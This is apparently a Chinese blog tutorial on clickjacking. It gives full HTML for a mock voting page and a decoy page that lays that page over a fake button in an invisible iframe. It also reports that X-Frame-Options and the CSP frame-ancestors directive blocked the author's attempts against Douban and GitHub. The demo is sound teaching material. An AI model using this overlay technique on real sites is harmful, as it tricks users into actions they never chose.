一個關於點擊劫持的小示例,首相看下理論知識 javascript
首先,製做一個功能頁面,做爲被iframe嵌套的功能頁面;這個頁面的功能就是模仿投票功能,點擊按鈕時,便可完成投票功能,控制檯會同步打印出操做信息。css
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
<style> .vote{ width: 183px; margin: 0 auto; margin-top: 220px } </style>
</head>
<body>
<div class="vote">
<input type="text" value="5號選手">
<button>投票</button>
</div>
<script> var span = document.getElementsByTagName('button')[0] span.addEventListener('click', function(){ console.log('哈哈,謝謝你偷偷幫我投票~') }) </script>
</body>
</html>
複製代碼
製做一個只有圖片的頁面,用於迷惑用戶進行交互;html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>click jacking demo</title>
<style> body { padding: 0; margin: 0 } .png { height: 100%; width: 100%; } .iframe { width: 1440px; height: 900px; position: absolute; top: -0px; left: -0px; z-index: 3; -moz-opacity: 0; opacity: 0; filter: alpha(opacity=0); } .btn { display: inline-block; padding: 2px 3px; background: burlywood; color: #fff; position: absolute; top: 221px; left: 766px; z-index: 2; cursor: pointer; border-radius: 30% } </style>
</head>
<body>
<img class='png' src="./image/clickme.jpeg" alt="">
<iframe class="iframe" src="./iframe.html" scolling='no' allowTransparency="true"></iframe>
<span class="btn">click</span>
</body>
</html>
複製代碼
瀏覽器打開,會發現根據提示點擊按鈕,會在控制檯中打印了相關的信息,就是說,即便我沒有在功能頁面進行投票操做,但是能投票。java
在迷惑頁面中把 iframe
的 opacity
屬性值修改爲 0.3
,就能看到這個迷惑的緣由了。git
原本想作個壞事的,想要試試用於豆瓣上,直接定位到關注按鈕那,不過 iframe 豆瓣的頁面時,控制檯報錯了,這個想要說明的是使用設置X-frame-options
屬性是真有效的。github
也試過直接內嵌 github
的地址,也會報錯,這個錯是報跨域的錯,不過具體的還不知道是怎麼設置防護的。跨域
an ancestor violates the following Content Security Policy directive: 「frame-ancestors ...
複製代碼
至此,已經把 點擊劫持
的形式演示完畢瀏覽器
github源碼bash